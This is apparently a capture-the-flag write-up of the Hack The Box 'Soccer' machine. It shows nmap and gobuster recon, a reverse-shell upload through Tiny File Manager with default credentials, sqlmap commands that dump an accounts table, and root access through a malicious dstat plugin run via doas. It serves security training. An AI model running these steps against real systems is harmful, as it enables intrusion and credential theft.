• Web Browser
    • Website hosted by Nginx 1.18.0
  • Host name
    • http://soccer.htb
    • sudo echo " soccer.htb" >> /etc/hosts
  • Rustscan rustscan -a
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( ) at 2022-12-22 14:16 EST
Initiating Ping Scan at 14:16
Scanning [2 ports]
Completed Ping Scan at 14:16, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:16
Completed Parallel DNS resolution of 1 host. at 14:16, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:16
Scanning [2 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed Connect Scan at 14:16, 0.05s elapsed (2 total ports)
Nmap scan report for
Host is up, received syn-ack (0.047s latency).
Scanned at 2022-12-22 14:16:01 EST for 0s

22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
  • Nmap Nmap -sV -sC
Nmap scan report for
Host is up (0.046s latency).
Not shown: 996 closed tcp ports (conn-refused)
22/tcp   open     ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open     http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
1723/tcp filtered pptp
9091/tcp open     xmltec-xmlmail?
 ...content omitted...

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 111.77 seconds
  • Directory Brute force gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,js -t 50
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              js,html
[+] Timeout:                 10s
2022/12/22 14:49:50 Starting gobuster in directory enumeration mode
/.html                (Status: 403) [Size: 162]
/index.html           (Status: 200) [Size: 6917]
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
/.html                (Status: 403) [Size: 162]
Progress: 622881 / 622932 (99.99%)===============================================================
2022/12/22 15:23:34 Finished
  • VHOSTS gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u soccer.htb
  • Summary
    • PPTP 1723/tcp VPN used for remote access
    • /tiny File upload web page
    • Unknown 9091/tcp

Web Exploit

The first thing I did was browse to the main website http://soccor.htb/. After looking around I found nothing of interests so I browsed to http://soccor.htb/tiny which was one of the urls that I found during the directory bruteforce scan. This particular URL had a login for Tiny File Manager. After some looking around on the internet I found the default credentials on the Tiny File Manager github page.


After logging into the file manager I figured out that I could upload files to the tiny/uploads directory. Armed with this information I decided to try uploading a PHP reverse shell to the server. Once the reverse shell was uploaded I browsed to its URL and was able to get a reverse shell as www-data.

Privilege Escalation User

Once I was in the machine as www-data I started looking for a way to escalate privilege. After searching around the machine I discovered that there was a subdomain for http://soccer.htb that was I first added the new subdomain to my /etc/hosts file and browsed to the new subdomain. At the new website I discovered that their was a login page and a spot to create an account. I began by creating an account and logging into the website. Once I had logged in I found a simple page that had what looked like a spot to check a soccer game ticket to see if it was valid. I looked over the webpage and it looked like the website had a WebSocket connected to a text box that you put your ticket in and when you pressed enter the webpage checked in a database to see if you ticket existed. If the ticket exist then the WebSocket sends back Success and if the ticket is not found then the WebSocket returns error. Armed with this information I decide to use a python script to convert the WebSocket into a GET request. I found this YouTube video and this blog that described the process.

After changing the variable in the python script that pointed to the URL of the WebSocket I ran the python program. Once the program was running I confirmed it was working by going to the URL that the python program generated and testing to see if my ticket would be recognized as a valid ticket. Thankful their were no error so I decide to run the first sqlmap command.

Command: sqlmap -u "http://localhost:8081/?id=1" --batch --dbs

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

After running the command I decided that the table that mostly likely contained the justest information would be soccer_db. Once I determined this I ran the sqlmap command that checked for tables in the soccer_db database.

Command: sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --tables

Database: soccer_db
[1 table]
| accounts |

In the soccer_db their was only one table called accounts so I ran the sqlmap command that dumped the contents of the table.

Command: sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts --dump

| id   | email             | username | password             |
| 1324 | player@player.htb | player   | PlayerOftheMatch2022 |

Taking the information from this table I was able to ssh into the Soccer machine as the player user and retrieve the user flag.

Privilege Escalation Root

Once I was in the machine as player I started looking for SUID binarys using the find command.

find / -perm /4000 2>/dev/null

After running this command I noticed that their was a binary that was called doas. After some research I discovered that doas is a substitute for the sudo command. Using the man pages for the doas command I found out that the configuration file for doas is located in /usr/local/etc/doas.conf. After opening the doas config file I found that player user was able to run /usr/bin/dstat as root.

permit nopass player as root cmd /usr/bin/dstat

After looking online I discovered that dstat is a computer monitoring software that allows users to monitor system performance. I also discovered that dstat has the ability to run plugins written in python. With this information I started looking up how to write a plugin. I learned that the plugins are stored in a couple places but the only place that I had write permissions was /usr/local/share/dstat. Since I new that dstat could be run as root when when used with doas I wrote a malicious plugin that created a bash shell when it was run. I then placed the new malicious plugin in the dstat plugin folder under the name

code for plugin:

import os

I then ran the doas command doas /usr/bin/dstat --pwn and it gave me an interactive shell as root. I finally ran the cat command on the /root/root.txt.